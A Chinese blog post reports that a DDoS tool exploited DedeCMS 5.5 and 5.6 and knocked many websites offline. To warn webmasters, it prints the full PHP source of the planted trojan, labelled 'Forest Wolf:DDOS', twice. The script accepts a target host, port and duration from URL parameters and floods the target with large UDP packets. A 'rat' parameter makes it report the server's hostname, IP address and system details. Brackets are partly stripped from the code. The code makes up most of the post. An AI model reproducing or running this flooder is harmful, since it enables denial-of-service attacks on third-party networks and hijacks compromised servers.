织梦漏洞造成大批网站瘫痪

昨日，大批使用织梦内核的网站瘫痪，网站被运营商停止。而这些被停止的网站均是使用了织梦5.5和5.6内核版本的网站程序。北人自己的一个织梦网站也发现了同样的问题。据一些知名网络安全服务商监控数据显示。近日，新型DDOS工具利用织梦5.5和5.6漏洞，造成了国内大批织梦程序瘫痪。目前，织梦官方没有据此回应。以下是网络安全服务商检测出的攻击织梦漏洞的木马病毒，提醒站长注意。

set_time_limit(999999);

$host = $_GET'host';

$port = $_GET'port';

$exec_time = $_GET'time';

$Sendlen = 65535;

$packets = 0;

ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){

if (StrLen($_GET'rat')<>0){

echo $_GET'rat'.$_SERVER"HTTP_HOST"."|".GetHostByName($_SERVER'SERVER_NAME')."|".php_uname()."|".$_SERVER'SERVER_SOFTWARE'.$_GET'rat';

exit;

}

echo "Forest Wolf:DDOS:lw";

exit;

}

for($i=0;$i<$Sendlen;$i++){

$out .= "A";

}

$max_time = time()+$exec_time;

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo "Send Host：$host:$port

";

echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";

echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";

?>
set_time_limit(999999);
$host = $_GET'host';
$port = $_GET'port';
$exec_time = $_GET'time';
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET'rat')<>0){
echo $_GET'rat'.$_SERVER"HTTP_HOST"."|".GetHostByName($_SERVER'SERVER_NAME')."|".php_uname()."|".$_SERVER'SERVER_SOFTWARE'.$_GET'rat';
exit;
}
echo "Forest Wolf:DDOS:lw";
exit;
}
for($i=0;$i<$Sendlen;$i++){
$out .= "A";
}
$max_time = time()+$exec_time;
while(1){ $packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Send Host：$host:$port
";
echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
";
echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

北人在此提醒各位站长站朋友，请及时更新网站补丁。同时，要及时关注织梦官方的动态。

转载请注明出自，北人博客：www.beiren8.com

感谢 北人博客 的投稿